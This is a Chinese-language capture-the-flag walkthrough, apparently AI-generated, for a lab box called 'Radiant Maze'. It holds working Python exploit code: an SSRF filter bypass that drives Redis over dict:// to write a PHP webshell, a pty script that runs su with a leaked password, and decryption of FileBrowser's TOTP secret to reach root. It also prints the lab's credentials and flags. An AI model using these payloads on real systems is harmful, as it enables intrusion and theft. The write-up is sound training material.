Radiant Maze

作者:Erina
8 分钟阅读 1118 字

免责声明
  • 这篇文章由ai生成

目录

  1. Radiant Maze
    1. Summary
    2. Solution
      1. Step 1: .git 泄露 → 凭据与内部路由
      2. Step 2: SSRF → Redis → webshell (www-data)
      3. Step 3: www-data → radiant → user flag
      4. Step 4: radiant → root(FileBrowser Quantum)
    3. Flag
    4. Lessons Learned

Radiant Maze

The post was generated by AI 这篇文章由ai生成

Summary

一条从 Web 到 root 的完整链路:暴露的 .git 泄露凭据与内部路由 → 链接预览服务的 SSRF 打通本地 Redis → 写 webshell 拿到 www-data → su 到 radiant 拿 user flag → 利用 world-readable 的 FileBrowser Quantum 数据库与 TOTP 加密密钥,以 admin 身份读取 /root/root.txt。

目标:192.168.56.143(主机名 Maze),开放 22/tcp(OpenSSH 10.0p2)与 80/tcp(Apache 2.4.68)。

Solution

Step 1: .git 泄露 → 凭据与内部路由

http://192.168.56.143/.git/ 可访问。dump git objects 还原历史后,在初始提交的 deploy.sh 中得到 radiant:Radiant_Maze_2026,在 routes.conf 中得到两个内部路由:/x7k3m9/(链接预览,存在 SSRF)和 /q2v8p1/(仅前端的假终端)。

SSH 用该凭据可认证成功,但 sshd 对 radiant 配置了 ForceCommand /bin/false,无法直接执行命令,暂放一边。

Step 2: SSRF → Redis → webshell (www-data)

/x7k3m9/ 是 PHP cURL 抓取器,黑名单只挡 localhost/127.0.0.1,可用 127.1、2130706433、0x7f000001 绕过;file:// 与 dict:// 均可用。由于 PHP 先解码一次、libcurl 再解码一次,空格需双重编码(%2520)。

Redis 8.0.2 监听 127.0.0.1:6379,且因 systemd override 实际以 www-data 运行。通过 dict:// 下发 Redis 命令,把 RDB 写到 Web 根目录:

import urllib.parse, urllib.request
BASE = "http://192.168.56.143"
def ssrf(url):
# PHP 解码一次,libcurl 再解码路径一次 -> 天然形成双重编码
return urllib.request.urlopen(
BASE + "/x7k3m9/?url=" + urllib.parse.quote(url, safe="")
).read()
def redis(cmd):
# dict:// 的路径就是 Redis 命令;空格由 quote 变成 %20,外层再被编码一次
ssrf("dict://127.1:6379/" + urllib.parse.quote(cmd))
redis("CONFIG SET dir /var/www/html")
redis("CONFIG SET dbfilename shell.php")
redis("SET x <?=system($_GET['cmd']);?>")
redis("SAVE")

随后 http://192.168.56.143/shell.php?cmd=id 返回 uid=33(www-data),拿到 www-data RCE。

Step 3: www-data → radiant → user flag

SSH 被 ForceCommand 挡住,但可以在 www-data 下用 pty 执行 su - radiant(密码已知)。拿到 radiant shell 后读取家目录:

# /tmp/su_radiant.py —— 在 www-data 上下文中运行
import os, pty, select, sys
pid, fd = pty.fork()
if pid == 0:
os.execv("/bin/su", ["su", "-", "radiant", "-c", sys.argv[1]])
buf, sent = b"", False
while True:
try:
r, _, _ = select.select([fd], [], [], 8)
if not r: break
d = os.read(fd, 4096)
if not d: break
buf += d
if not sent and b"assword" in d:
os.write(fd, b"Radiant_Maze_2026\n"); sent = True
except OSError:
break
sys.stdout.buffer.write(buf)

cat /home/radiant/user.txt → user flag。

Step 4: radiant → root(FileBrowser Quantum)

radiant 的 .bash_history 直接泄露了 FileBrowser admin 密码 dimple(非爆破)。FileBrowser 以 root 运行在 127.0.0.1:8080,其数据库 /var/lib/filebrowser/database.db 权限 644(可读),/etc/filebrowser/fb.env 含 32 字节 TOTP 加密密钥。用该密钥对 DB 中的 TOTP 密文做 AES-256-GCM 解密,生成实时 TOTP 码登录 admin,再用返回的 JWT 读取 /root/root.txt:

#!/usr/bin/env python3
# 依赖: pip install pycryptodome
import base64, hashlib, hmac, struct, time, re, urllib.request, urllib.parse
FB_ENV = "/etc/filebrowser/fb.env"
FB_DB = "/var/lib/filebrowser/database.db"
FB_URL = "http://127.0.0.1:8080"
# 1) 服务环境里的 TOTP 加密密钥(32 字节 AES key)
key = base64.b64decode([
l.split("=", 1)[1].strip() for l in open(FB_ENV) if "TOTP_SECRET" in l
][0])
# 2) 从 world-readable 的 BoltDB 取出 TOTP 密文与 nonce
db = open(FB_DB, "rb").read()
ct = base64.b64decode(re.search(rb'"totpSecret":"([^"]+)"', db).group(1))
nv = base64.b64decode(re.search(rb'"totpNonce":"([^"]+)"', db).group(1))
from Crypto.Cipher import AES
secret = AES.new(key, AES.MODE_GCM, nonce=nv).decrypt_and_verify(ct[:-16], ct[-16:]).decode()
print("[+] TOTP secret:", secret)
# 3) 来自 radiant ~/.bash_history 的 admin 密码
password = "dimple"
# 4) 计算当前 TOTP(SHA1 / 30s / 6 位)
b32 = base64.b32decode(secret)
h = hmac.new(b32, struct.pack(">Q", int(time.time()) // 30), hashlib.sha1).digest()
o = h[19] & 15
code = "%06d" % ((struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000)
print("[+] TOTP code:", code)
# 5) 以 admin 登录
req = urllib.request.Request(FB_URL + "/api/auth/login?username=admin", method="POST")
req.add_header("X-Password", password)
req.add_header("X-Secret", code)
token = urllib.request.urlopen(req).read().decode().strip()
print("[+] JWT:", token[:40], "...")
# 6) 用 root 权限的 FileBrowser 读取 /root/root.txt
url = (FB_URL + "/api/resources/download?file=" + urllib.parse.quote("/root/root.txt")
+ "&source=" + urllib.parse.quote("/") + "&auth=" + urllib.parse.quote(token))
print("[+] ROOT FLAG:", urllib.request.urlopen(url).read().decode())

运行输出:

[+] TOTP secret: UMZW3BHVYS4G6TS7RHWFYEAPAXUOYGEC
[+] TOTP code: 824405
[+] JWT: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
[+] ROOT FLAG: flag{root-1d06883d6ad8b73426b569d18e549ea1}

Flag

user: flag{user-94d5d003e6f2797d48be4b6d64bfb811}
root: flag{root-1d06883d6ad8b73426b569d18e549ea1}

Lessons Learned